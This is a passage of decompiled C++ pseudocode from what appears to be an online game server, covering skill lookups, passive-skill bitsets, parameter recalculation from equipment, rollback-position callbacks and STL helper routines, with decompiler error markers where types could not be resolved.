STOPEMOTICON_DESCRIPT ShineObjectClass__ShineObject__so_defstopmotion; // 124D2542: using guessed type char byte_124D2542; // 124D2544: using guessed type struct ChargedEffectContainer ShineObjectClass__ShineObject__so_ChargedEffectContainerClear; //----- (0042FD00) -------------------------------------------------------- void __thiscall RollBackPosCallBackEvent::_RollBackPosCallBackEvent(RollBackPosCallBackEvent *this) { this->baseclass_0.vfptr = (CallBackEventVtbl *)&CallBackEvent::_vftable_; } // 5A9908: using guessed type int (__thiscall *CallBackEvent___vftable_)(void *p, char); //----- (0042FD10) -------------------------------------------------------- void *__thiscall CallBackEvent::_vector_deleting_destructor_(CallBackEvent *this, unsigned int a2) { void *v2; // esi@1 v2 = this; this->vfptr = (CallBackEventVtbl *)&CallBackEvent::_vftable_; if ( a2 & 1 ) operator delete(this); return v2; } // 5A9908: using guessed type int (__thiscall *CallBackEvent___vftable_)(void *p, char); //----- (0042FD30) -------------------------------------------------------- void __thiscall RollBackPosCallBackEvent::RollBackPosCallBackEvent(RollBackPosCallBackEvent *this, Name3 *pServeName, Name3 *pClientName, int nPosX, int nPosY) { RollBackPosCallBackEvent *v5; // esi@1 unsigned int v6; // eax@1 char *v7; // eax@1 unsigned int v8; // eax@1 char *v9; // eax@1 v5 = this; this->baseclass_0.vfptr = (CallBackEventVtbl *)&RollBackPosCallBackEvent::_vftable_; v6 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v6; v7 = (char *)&namestring + 256 * v6; *(_QWORD *)v7 = *(_QWORD *)&pServeName->n3_name[0]; *((_DWORD *)v7 + 2) = *(_DWORD *)&pServeName->n3_name[8]; v7[12] = 0; strncpy(this->m_RollBackPos.linktoserver, v7, 0xCu); v8 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v8; v9 = (char *)&namestring + 256 * v8; *(_QWORD *)v9 = *(_QWORD *)&pClientName->n3_name[0]; *((_DWORD *)v9 + 2) = *(_DWORD *)&pClientName->n3_name[8]; v9[12] = 0; strncpy(v5->m_RollBackPos.linktoclient, v9, 0xCu); v5->m_RollBackPos.coordx = nPosX; v5->m_RollBackPos.coordy = nPosY; } // 5A9914: using guessed type int (__thiscall *RollBackPosCallBackEvent___vftable_)(void *p, char); //----- (0042FDD0) -------------------------------------------------------- void *__thiscall RollBackPosCallBackEvent::_scalar_deleting_destructor_(RollBackPosCallBackEvent *this, unsigned int a2) { void *v2; // esi@1 v2 = this; RollBackPosCallBackEvent::_RollBackPosCallBackEvent(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0042FDF0) -------------------------------------------------------- #error "42FDF0: undefined or illegal type '#325' (funcsize=10)" //----- (0042FE10) -------------------------------------------------------- NPCManager::LinkInformTemplete *__thiscall RollBackPosCallBackEvent::GetLinkData(RollBackPosCallBackEvent *this) { return &this->m_RollBackPos; } //----- (0042FE20) -------------------------------------------------------- void __thiscall RollBackPosCallBackEvent::RollBackPosCallBackEvent(RollBackPosCallBackEvent *this, #325 *pTargetObject) { RollBackPosCallBackEvent *v2; // esi@1 int v3; // eax@1 unsigned int v4; // ecx@1 int v5; // eax@1 char *v6; // ecx@1 int v7; // eax@1 int v8; // eax@1 unsigned int v9; // ecx@1 char *v10; // ecx@1 v2 = this; this->baseclass_0.vfptr = (CallBackEventVtbl *)&RollBackPosCallBackEvent::_vftable_; v3 = ShineObjectClass::ShineObject::so_CurMapname((int)pTargetObject); MoveManager::MoveManager((DiceTaiSai *)v3); v4 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v4; v6 = (char *)&namestring + 256 * v4; *(_DWORD *)v6 = *(_DWORD *)v5; *((_DWORD *)v6 + 1) = *(_DWORD *)(v5 + 4); *((_DWORD *)v6 + 2) = *(_DWORD *)(v5 + 8); v6[12] = 0; strncpy(v2->m_RollBackPos.linktoserver, v6, 0xCu); v7 = ShineObjectClass::ShineObject::so_CurMapname((int)pTargetObject); v8 = VectorClass::VectorWithLength::vwl_GetLength(v7); v9 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v9; v10 = (char *)&namestring + 256 * v9; *(_DWORD *)v10 = *(_DWORD *)v8; *((_DWORD *)v10 + 1) = *(_DWORD *)(v8 + 4); *((_DWORD *)v10 + 2) = *(_DWORD *)(v8 + 8); v10[12] = 0; strncpy(v2->m_RollBackPos.linktoclient, v10, 0xCu); v2->m_RollBackPos.coordx = *(_DWORD *)ShineObjectClass::ShineObject::so_mob_LastHittedLocation((int)pTargetObject); v2->m_RollBackPos.coordy = *(_DWORD *)(ShineObjectClass::ShineObject::so_mob_LastHittedLocation((int)pTargetObject) + 4); } // 5A9914: using guessed type int (__thiscall *RollBackPosCallBackEvent___vftable_)(void *p, char); //----- (0042FF20) -------------------------------------------------------- GatherProduce::RecipeBook::ProductIndex *__thiscall GatherProduce::RecipeBook::operator__(GatherProduce::RecipeBook *this, unsigned __int16 skl) { GatherProduce::RecipeBook::ProductIndex *v2; // ecx@1 GatherProduce::RecipeBook::ProductIndex *result; // eax@1 GatherProduce::RecipeBook::ProductIndex key; // [sp+0h] [bp-1E8h]@1 ProduceInfo pi; // [sp+4Ch] [bp-19Ch]@1 unsigned int cookie; // [sp+1E4h] [bp-4h]@1 key.index = π result = (GatherProduce::RecipeBook::ProductIndex *)this->rb_Number; v2 = this->rb_Array; pi.ProductID = skl; bsearch(&key, v2, (unsigned int)result, 0x4Cu, GatherProduce::RecipeBook::rb_Compare); __security_check_cookie(cookie); return result; } //----- (0042FF80) -------------------------------------------------------- SkillDataBox::SkillDataIndex *__thiscall SkillDataBox::operator__(SkillDataBox *this, unsigned __int16 sub) { SkillDataBox::SkillDataIndex *v2; // ecx@1 SkillDataBox::SkillDataIndex *result; // eax@1 SkillDataBox::SkillDataIndex key; // [sp+0h] [bp-3F8h]@1 ActiveSkillInfo asi; // [sp+170h] [bp-288h]@1 unsigned int cookie; // [sp+3F4h] [bp-4h]@1 key.sdi_Activ = &asi; result = (SkillDataBox::SkillDataIndex *)this->sdb_MaxValid; v2 = this->sdb_ValidArray; asi.ID = sub; bsearch(&key, v2, (unsigned int)result, 0x170u, SkillDataBox::sdb_compare); __security_check_cookie(cookie); return result; } //----- (0042FFF0) -------------------------------------------------------- bool __cdecl CharaterSkillList::CharSkill::cs_Compare_STLVer(CharaterSkillList::CharSkill *rLhw, CharaterSkillList::CharSkill *rRhw) { return rLhw->cs_SkillId < rRhw->cs_SkillId; } //----- (00430010) -------------------------------------------------------- void __thiscall PassiveMasteryVariable::PassiveMasteryVariable(PassiveMasteryVariable *this) { PassiveMasteryVariable *v1; // ebx@1 signed int v2; // ebp@1 PassiveMasteryVariable *v3; // edx@2 signed int v4; // edi@2 v1 = this; v2 = 19; do { v3 = v1; v4 = 2; do { v3->pmv_var[0][0][0] = (unsigned int *)102; v3->pmv_var[0][1][0] = (unsigned int *)150; v3 = (PassiveMasteryVariable *)((char *)v3 + 152); --v4; } while ( v4 ); v1 = (PassiveMasteryVariable *)((char *)v1 + 4); --v2; } while ( v2 ); this->pmv_var[0][0][18] = (unsigned int *)142; this->pmv_var[1][0][18] = (unsigned int *)142; this->pmv_var[0][0][0] = (unsigned int *)102; this->pmv_var[0][0][2] = (unsigned int *)102; this->pmv_var[0][0][3] = (unsigned int *)102; this->pmv_var[0][0][4] = (unsigned int *)102; this->pmv_var[0][0][6] = (unsigned int *)102; this->pmv_var[0][0][7] = (unsigned int *)102; this->pmv_var[0][0][8] = (unsigned int *)102; this->pmv_var[0][0][9] = (unsigned int *)102; this->pmv_var[0][0][10] = (unsigned int *)102; this->pmv_var[0][0][11] = (unsigned int *)102; this->pmv_var[0][0][12] = (unsigned int *)102; this->pmv_var[0][0][14] = (unsigned int *)102; this->pmv_var[1][0][0] = (unsigned int *)102; this->pmv_var[1][0][5] = (unsigned int *)102; this->pmv_var[1][0][6] = (unsigned int *)102; this->pmv_var[1][0][7] = (unsigned int *)102; this->pmv_var[1][0][8] = (unsigned int *)102; this->pmv_var[1][0][9] = (unsigned int *)102; this->pmv_var[1][0][12] = (unsigned int *)102; this->pmv_var[1][0][13] = (unsigned int *)102; this->pmv_var[1][0][14] = (unsigned int *)102; this->pmv_var[0][1][18] = (unsigned int *)190; this->pmv_var[1][1][18] = (unsigned int *)190; this->pmv_var[0][1][17] = (unsigned int *)194; this->pmv_var[1][1][17] = (unsigned int *)194; this->pmv_var[0][1][0] = (unsigned int *)150; this->pmv_var[0][1][1] = (unsigned int *)154; this->pmv_var[0][1][2] = (unsigned int *)150; this->pmv_var[0][1][3] = (unsigned int *)150; this->pmv_var[0][1][4] = (unsigned int *)150; this->pmv_var[0][1][5] = (unsigned int *)170; this->pmv_var[0][1][6] = (unsigned int *)150; this->pmv_var[0][1][7] = (unsigned int *)150; this->pmv_var[0][1][8] = (unsigned int *)150; this->pmv_var[0][1][9] = (unsigned int *)150; this->pmv_var[0][1][10] = (unsigned int *)150; this->pmv_var[0][1][11] = (unsigned int *)150; this->pmv_var[0][1][12] = (unsigned int *)150; this->pmv_var[0][1][13] = (unsigned int *)158; this->pmv_var[0][1][14] = (unsigned int *)150; this->pmv_var[0][0][1] = (unsigned int *)106; this->pmv_var[0][0][5] = (unsigned int *)122; this->pmv_var[0][0][13] = (unsigned int *)110; this->pmv_var[0][0][17] = (unsigned int *)146; this->pmv_var[1][1][0] = (unsigned int *)150; this->pmv_var[1][1][1] = (unsigned int *)162; this->pmv_var[1][1][2] = (unsigned int *)174; this->pmv_var[1][1][3] = (unsigned int *)186; this->pmv_var[1][1][4] = (unsigned int *)166; this->pmv_var[1][1][5] = (unsigned int *)150; this->pmv_var[1][1][6] = (unsigned int *)150; this->pmv_var[1][1][7] = (unsigned int *)150; this->pmv_var[1][1][8] = (unsigned int *)150; this->pmv_var[1][1][9] = (unsigned int *)150; this->pmv_var[1][1][10] = (unsigned int *)178; this->pmv_var[1][1][11] = (unsigned int *)182; this->pmv_var[1][1][12] = (unsigned int *)150; this->pmv_var[1][1][13] = (unsigned int *)150; this->pmv_var[1][1][14] = (unsigned int *)150; this->pmv_var[1][0][1] = (unsigned int *)114; this->pmv_var[1][0][2] = (unsigned int *)126; this->pmv_var[1][0][3] = (unsigned int *)138; this->pmv_var[1][0][4] = (unsigned int *)118; this->pmv_var[1][0][10] = (unsigned int *)130; this->pmv_var[1][0][11] = (unsigned int *)134; this->pmv_var[1][0][17] = (unsigned int *)146; } //----- (004301F0) -------------------------------------------------------- void __thiscall CharacterPassiveList::CharacterPassiveList(CharacterPassiveList *this) { BitSet::BitSet(&this->cpl_Passive, 1000); } //----- (00430210) -------------------------------------------------------- unsigned int __thiscall std::vector>::size(std::vector > *this) { unsigned int result; // eax@1 result = (unsigned int)this->_Myfirst; if ( result ) result = (signed int)((char *)this->_Mylast - result) / 20; return result; } //----- (00430230) -------------------------------------------------------- void __cdecl std::fill(CharaterSkillList::CharSkill *_First, CharaterSkillList::CharSkill *_Last, CharaterSkillList::CharSkill *_Val) { CharaterSkillList::CharSkill *i; // eax@1 CharaterSkillList::CharSkill *v4; // edi@2 for ( i = _First; i != _Last; v4->cs_bSave = _Val->cs_bSave ) { v4 = i; *(_DWORD *)&i->cs_SkillId = *(_DWORD *)&_Val->cs_SkillId; i->cs_EndOfCooltime = _Val->cs_EndOfCooltime; *(_DWORD *)&i->cs_Empower._bf0 = *(_DWORD *)&_Val->cs_Empower._bf0; i->cs_Mastery = _Val->cs_Mastery; ++i; } } //----- (00430270) -------------------------------------------------------- CharaterSkillList::CharSkill *__cdecl std::_Copy_opt(CharaterSkillList::CharSkill *_First, CharaterSkillList::CharSkill *_Last, CharaterSkillList::CharSkill *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { CharaterSkillList::CharSkill *v4; // ecx@1 CharaterSkillList::CharSkill *result; // eax@1 CharaterSkillList::CharSkill *v6; // edi@2 int v7; // esi@2 v4 = _First; for ( result = _Dest; v4 != _Last; v6->cs_bSave = v7 ) { v6 = result; *(_DWORD *)&result->cs_SkillId = *(_DWORD *)&v4->cs_SkillId; result->cs_EndOfCooltime = v4->cs_EndOfCooltime; *(_DWORD *)&result->cs_Empower._bf0 = *(_DWORD *)&v4->cs_Empower._bf0; result->cs_Mastery = v4->cs_Mastery; v7 = v4->cs_bSave; ++v4; ++result; } return result; } //----- (004302C0) -------------------------------------------------------- CharaterSkillList::CharSkill *__cdecl std::_Copy_backward_opt(CharaterSkillList::CharSkill *_First, CharaterSkillList::CharSkill *_Last, CharaterSkillList::CharSkill *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { CharaterSkillList::CharSkill *v4; // ecx@1 CharaterSkillList::CharSkill *result; // eax@1 v4 = _Last; for ( result = _Dest; v4 != _First; result->cs_bSave = v4->cs_bSave ) { --v4; --result; *(_DWORD *)&result->cs_SkillId = *(_DWORD *)&v4->cs_SkillId; result->cs_EndOfCooltime = v4->cs_EndOfCooltime; *(_DWORD *)&result->cs_Empower._bf0 = *(_DWORD *)&v4->cs_Empower._bf0; result->cs_Mastery = v4->cs_Mastery; } return result; } //----- (00430310) -------------------------------------------------------- void __cdecl std::swap(CharaterSkillList::CharSkill *_Left, CharaterSkillList::CharSkill *_Right) { int v2; // edx@1 unsigned int v3; // esi@1 int v4; // edi@1 unsigned int v5; // ST1C_4@1 int v6; // ST20_4@1 v2 = *(_DWORD *)&_Left->cs_SkillId; v3 = _Left->cs_EndOfCooltime; v4 = *(_DWORD *)&_Left->cs_Empower._bf0; v5 = _Left->cs_Mastery; v6 = _Left->cs_bSave; *(_DWORD *)&_Left->cs_SkillId = *(_DWORD *)&_Right->cs_SkillId; _Left->cs_EndOfCooltime = _Right->cs_EndOfCooltime; *(_DWORD *)&_Left->cs_Empower._bf0 = *(_DWORD *)&_Right->cs_Empower._bf0; _Left->cs_Mastery = _Right->cs_Mastery; _Left->cs_bSave = _Right->cs_bSave; *(_DWORD *)&_Right->cs_SkillId = v2; _Right->cs_EndOfCooltime = v3; *(_DWORD *)&_Right->cs_Empower._bf0 = v4; _Right->cs_Mastery = v5; _Right->cs_bSave = v6; } //----- (00430380) -------------------------------------------------------- unsigned __int16 __thiscall CharaterSkillList::csl_MaximumSkill(CharaterSkillList *this, unsigned __int16 skill) { SkillDataBox::SkillDataIndex *v2; // eax@1 SkillDataBox::SkillDataIndex *i; // ecx@1 unsigned __int16 v4; // si@3 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharaterSkillList::csl_MaximumSkill"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharaterSkillList::csl_MaximumSkill"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = SkillDataBox::operator__(&skilldatabox, skill); for ( i = v2->sdi_NextSkill; i; i = i->sdi_NextSkill ) v2 = i; v4 = v2->sdi_Activ->ID; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_MaximumSkill"); return v4; } //----- (00430410) -------------------------------------------------------- int __thiscall CharaterSkillList::csl_GetDelayGroup(CharaterSkillList *this, unsigned __int16 skill, int *millisec) { SkillDataBox::SkillDataIndex *v3; // eax@1 int v4; // esi@2 int result; // eax@2 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharaterSkillList::csl_GetDelayGroup"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharaterSkillList::csl_GetDelayGroup"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = SkillDataBox::operator__(&skilldatabox, skill); if ( v3 ) { *millisec = v3->sdi_Activ->DlyTimeGroup; v4 = v3->sdi_Activ->DlyGroupNum; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_GetDelayGroup"); result = v4; } else { if ( GatherProduce::RecipeBook::operator__(&recipebook, skill) ) { *millisec = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_GetDelayGroup"); result = 0; } else { AssertClass::ac_AssertFail(&shineassert, "CharaterSkillList::csl_GetDelayGroup : Cannot found Skill", skill); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_GetDelayGroup"); result = -1; } } return result; } //----- (00430560) -------------------------------------------------------- #error "430560: undefined or illegal type '#434' (funcsize=75)" //----- (00430680) -------------------------------------------------------- void __thiscall CharacterPassiveList::psl_Store(CharacterPassiveList *this, unsigned __int16 skill, Name4 *name) { CharacterPassiveList *v3; // esi@1 unsigned int v4; // eax@2 char *v5; // eax@2 int v6; // ecx@4 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharacterPassiveList::psl_Store"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharacterPassiveList::psl_Store"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( skill < 0x3E8u ) { if ( skill < v3->cpl_Passive.bs_maxbit ) { v6 = skill & 0x80000007; if ( v6 < 0 ) LOBYTE(v6) = ((unsigned __int8)(v6 - 1) | 0xF8) + 1; v3->cpl_Passive.bs_bitlist[(unsigned int)skill >> 3] |= 1 << v6; } } else { AssertClass::ac_AssertFail(&shineassert, "CharacterPassiveList::cpl_Store : Invalid passive", skill); v4 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v4; v5 = (char *)&namestring + 256 * v4; *(_QWORD *)v5 = *(_QWORD *)&name->n4_name[0]; *((_QWORD *)v5 + 1) = *(_QWORD *)&name->n4_name[8]; v5[16] = 0; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharacterPassiveList::psl_Store"); } //----- (004307A0) -------------------------------------------------------- void __thiscall CharacterPassiveList::cpl_Store(CharacterPassiveList *this, PROTO_NC_CHAR_SKILL_PASSIVE_CMD *data, Name4 *name) { CharacterPassiveList *v3; // ebp@1 signed int v4; // ebx@1 int *v5; // edi@2 unsigned int v6; // eax@4 char *v7; // eax@4 unsigned int v8; // ecx@5 int v9; // eax@6 int v10; // ecx@6 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharacterPassiveList::psl_Store"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharacterPassiveList::psl_Store"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; if ( data->number ) { v5 = (int *)&data[1]; do { if ( *(_WORD *)v5 < 0x3E8u ) { v8 = *(_WORD *)v5; if ( v8 < v3->cpl_Passive.bs_maxbit ) { v9 = (int)&v3->cpl_Passive.bs_bitlist[v8 >> 3]; v10 = v8 & 0x80000007; if ( v10 < 0 ) LOBYTE(v10) = ((unsigned __int8)(v10 - 1) | 0xF8) + 1; *(_BYTE *)v9 |= 1 << v10; } } else { AssertClass::ac_AssertFail(&shineassert, "CharacterPassiveList::cpl_Store : Invalid passive", *(_WORD *)v5); v6 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v6; v7 = (char *)&namestring + 256 * v6; *(_QWORD *)v7 = *(_QWORD *)&name->n4_name[0]; *((_QWORD *)v7 + 1) = *(_QWORD *)&name->n4_name[8]; v7[16] = 0; } ++v4; v5 = (int *)((char *)v5 + 2); } while ( v4 < data->number ); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharacterPassiveList::psl_Store"); } //----- (004308E0) -------------------------------------------------------- void __thiscall CharacterPassiveList::cpl_RecalcParam(CharacterPassiveList *this, ItemBag *param) { unsigned int v2; // ebx@1 int v3; // edi@1 unsigned int v4; // ebp@5 int v5; // ecx@9 int v6; // ecx@10 unsigned int v7; // eax@13 unsigned int *v8; // edx@14 unsigned int *v9; // ecx@17 ItemBagVtbl *v10; // eax@21 int v11; // eax@23 ItemBagVtbl *v12; // eax@25 int v13; // eax@27 ItemBagVtbl *v14; // eax@29 ItemBagVtbl *v15; // eax@31 ItemBagVtbl *v16; // eax@33 ItemBagVtbl *v17; // eax@35 unsigned __int16 v18; // ax@37 ItemBagVtbl *v19; // eax@39 CharacterPassiveList *v20; // [sp+8h] [bp-14h]@1 int equipment; // [sp+24h] [bp+8h]@0 int equipmenta; // [sp+24h] [bp+8h]@1 v20 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharacterPassiveList::cpl_RecalcParam"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharacterPassiveList::cpl_RecalcParam"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = 0; v3 = (**(int (__thiscall ***)(_DWORD, _DWORD))equipment)(equipment, 10); equipmenta = *(_WORD *)((**(int (__thiscall ***)(_DWORD, _DWORD))equipment)(equipment, 12) + 8); if ( (_WORD)equipmenta == -1 ) LOWORD(equipmenta) = *(_WORD *)(v3 + 8); do { if ( (unsigned __int8)(1 << v2 % 8) & v20->cpl_Passive.bs_bitlist[v2 / 8] ) { if ( (signed int)(unsigned __int16)v2 >= unk_124F248C ) v4 = passivedatabox.sdb_BinData.info.baseclass_0.baseclass_0.m_nFileSize; else v4 = *(_DWORD *)(unk_124F2484 + 4 * (unsigned __int16)v2); if ( *(_DWORD *)(v4 + 66) ) { if ( (unsigned __int16)equipmenta < (unsigned int)dword_125739EC ) { v5 = dword_12574188 + 28 * (unsigned __int16)equipmenta; if ( v5 ) { v6 = *(_DWORD *)v5; if ( v6 ) { if ( *(_WORD *)v6 == (_WORD)equipmenta ) { v7 = *(_DWORD *)(v6 + 219); if ( v7 >= 0x13 ) v8 = pmv.pmv_var[1][1][0]; else v8 = pmv.pmv_var[0][1][v7 + 38 * (*(_BYTE *)(v6 + 114) & 1)]; if ( v7 >= 0x13 ) v9 = pmv.pmv_var[1][0][0]; else v9 = pmv.pmv_var[0][0][v7 + 38 * (*(_BYTE *)(v6 + 114) & 1)]; if ( v7 == 3 || v7 == 11 ) { v12 = *(ItemBagVtbl **)((char *)v8 + v4); if ( v12 ) param[457].vfptr = v12; v13 = *(unsigned int *)((char *)v9 + v4); if ( v13 ) param[505].vfptr = (ItemBagVtbl *)(v13 + 1000); } else { v10 = *(ItemBagVtbl **)((char *)v8 + v4); if ( v10 ) param[456].vfptr = v10; v11 = *(unsigned int *)((char *)v9 + v4); if ( v11 ) param[504].vfptr = (ItemBagVtbl *)(v11 + 1000); } } else { AssertClass::ac_AssertFail( &shineassert, "ItemDataBox::operator [] :Invalid Item index", *(_WORD *)v6 + 10000 * (unsigned __int16)equipmenta); } } } } } v14 = *(ItemBagVtbl **)(v4 + 198); if ( v14 ) param[453].vfptr = v14; v15 = *(ItemBagVtbl **)(v4 + 202); if ( v15 ) param[441].vfptr = v15; v16 = *(ItemBagVtbl **)(v4 + 210); if ( v16 ) param[435].vfptr = v16; v17 = *(ItemBagVtbl **)(v4 + 214); if ( v17 != (ItemBagVtbl *)1000 ) param[502].vfptr = v17; v18 = *(_WORD *)(v4 + 218); if ( v18 ) param[513].vfptr = (ItemBagVtbl *)v18; v19 = *(ItemBagVtbl **)(v4 + 206); if ( v19 ) param[468].vfptr = v19; } ++v2; } while ( (signed int)v2 < 1000 ); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharacterPassiveList::cpl_RecalcParam"); } // 125739EC: using guessed type int dword_125739EC; // 12574188: using guessed type int dword_12574188; //----- (00430B60) -------------------------------------------------------- CharaterSkillList::CharSkill *__cdecl std::_Uninit_copy>::iterator_CharaterSkillList::CharSkill___std::allocator>(CharaterSkillList::CharSkill *_First, CharaterSkillList::CharSkill *_Last, CharaterSkillList::CharSkill *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { CharaterSkillList::CharSkill *v5; // ecx@1 CharaterSkillList::CharSkill *result; // eax@1 v5 = _First; for ( result = _Dest; v5 != _Last; ++result ) { if ( result ) { *(_DWORD *)&result->cs_SkillId = *(_DWORD *)&v5->cs_SkillId; result->cs_EndOfCooltime = v5->cs_EndOfCooltime; *(_DWORD *)&result->cs_Empower._bf0 = *(_DWORD *)&v5->cs_Empower._bf0; result->cs_Mastery = v5->cs_Mastery; result->cs_bSave = v5->cs_bSave; } ++v5; } return result; } //----- (00430BB0) -------------------------------------------------------- void __cdecl std::_Med3>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator _First, std::vector >::iterator _Mid, std::vector >::iterator _Last, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *)) { if ( _Pred(*(CharaterSkillList::CharSkill **)&_Mid, *(CharaterSkillList::CharSkill **)&_First) ) std::swap( *(CharaterSkillList::CharSkill **)&_Mid, *(CharaterSkillList::CharSkill **)&_First); if ( _Pred(*(CharaterSkillList::CharSkill **)&_Last, *(CharaterSkillList::CharSkill **)&_Mid) ) std::swap( *(CharaterSkillList::CharSkill **)&_Last, *(CharaterSkillList::CharSkill **)&_Mid); if ( _Pred(*(CharaterSkillList::CharSkill **)&_Mid, *(CharaterSkillList::CharSkill **)&_First) ) std::swap( *(CharaterSkillList::CharSkill **)&_Mid, *(CharaterSkillList::CharSkill **)&_First); } //----- (00430C10) -------------------------------------------------------- void __cdecl std::_Push_heap>::iterator_int_CharaterSkillList::CharSkill_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator _First, int _Hole, int _Top, CharaterSkillList::CharSkill _Val, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *)) { int v5; // ebx@1 int i; // edi@1 int v7; // esi@2 int v8; // eax@3 int v9; // eax@4 unsigned int v10; // edx@4 int v11; // ecx@4 unsigned int v12; // edx@4 int v13; // ecx@4 v5 = _Hole; for ( i = (_Hole - 1) / 2; _Top < v5; i = (i - 1) / 2 ) { v7 = *(_DWORD *)&_First + 20 * i; if ( !_Pred((CharaterSkillList::CharSkill *)(*(_DWORD *)&_First + 20 * i), &_Val) ) break; *(_DWORD *)(*(_DWORD *)&_First + 20 * v5) = *(_DWORD *)v7; v8 = *(_DWORD *)&_First + 20 * v5; *(_DWORD *)(v8 + 4) = *(_DWORD *)(v7 + 4); *(_DWORD *)(v8 + 8) = *(_DWORD *)(v7 + 8); *(_DWORD *)(v8 + 12) = *(_DWORD *)(v7 + 12); *(_DWORD *)(v8 + 16) = *(_DWORD *)(v7 + 16); v5 = i; } v9 = *(_DWORD *)&_First + 20 * v5; v10 = _Val.cs_EndOfCooltime; *(_DWORD *)v9 = *(_DWORD *)&_Val; v11 = *(_DWORD *)&_Val.cs_Empower._bf0; *(_DWORD *)(v9 + 4) = v10; v12 = _Val.cs_Mastery; *(_DWORD *)(v9 + 8) = v11; v13 = _Val.cs_bSave; *(_DWORD *)(v9 + 12) = v12; *(_DWORD *)(v9 + 16) = v13; } //----- (00430CB0) -------------------------------------------------------- void __cdecl std::_Rotate>::iterator_int_CharaterSkillList::CharSkill>(std::vector >::iterator _First, std::vector >::iterator _Mid, std::vector >::iterator _Last, int *__formal, CharaterSkillList::CharSkill *a5) { std::vector >::iterator v5; // ebp@1 int v6; // edi@1 int v7; // eax@1 int v8; // esi@1 int v9; // edx@2 std::vector >::iterator v10; // edx@5 int v11; // ebx@5 unsigned int v12; // esi@6 int v13; // ecx@6 std::vector >::iterator *v14; // eax@7 int v15; // esi@9 int v16; // eax@10 int *v17; // eax@11 int v18; // [sp+10h] [bp-20h]@8 int v19; // [sp+14h] [bp-1Ch]@11 int v20; // [sp+18h] [bp-18h]@12 CharaterSkillList::CharSkill _Holeval; // [sp+1Ch] [bp-14h]@6 v5 = _Last; v6 = (*(_DWORD *)&_Mid - *(_DWORD *)&_First) / 20; v7 = (*(_DWORD *)&_Last - *(_DWORD *)&_First) / 20; v8 = (*(_DWORD *)&_Mid - *(_DWORD *)&_First) / 20; if ( v6 ) { do { v9 = v7 % v8; v7 = v8; v8 = v9; } while ( v9 ); } if ( v7 < (*(_DWORD *)&_Last - *(_DWORD *)&_First) / 20 && v7 > 0 ) { v10 = (std::vector >::iterator)(20 * v6); _Mid = (std::vector >::iterator)(20 * v6); v11 = *(_DWORD *)&_First + 20 * v7; _Last = (std::vector >::iterator)v7; do { *(_DWORD *)&_Holeval.cs_SkillId = *(_DWORD *)v11; _Holeval.cs_EndOfCooltime = *(_DWORD *)(v11 + 4); *(_DWORD *)&_Holeval.cs_Empower._bf0 = *(_DWORD *)(v11 + 8); v12 = *(_DWORD *)(v11 + 12); _Holeval.cs_bSave = *(_DWORD *)(v11 + 16); v13 = v11; _Holeval.cs_Mastery = v12; if ( v11 + *(_DWORD *)&v10 == v5 ) { v14 = &_First; } else { v18 = v11 + *(_DWORD *)&v10; v14 = (std::vector >::iterator *)&v18; } v15 = *(_DWORD *)&v14->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; if ( *(_DWORD *)&v14->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] != v11 ) { do { *(_DWORD *)v13 = *(_DWORD *)v15; *(_DWORD *)(v13 + 4) = *(_DWORD *)(v15 + 4); *(_DWORD *)(v13 + 8) = *(_DWORD *)(v15 + 8); *(_DWORD *)(v13 + 12) = *(_DWORD *)(v15 + 12); *(_DWORD *)(v13 + 16) = *(_DWORD *)(v15 + 16); v16 = (*(_DWORD *)&v5 - v15) / 20; v13 = v15; if ( v6 >= v16 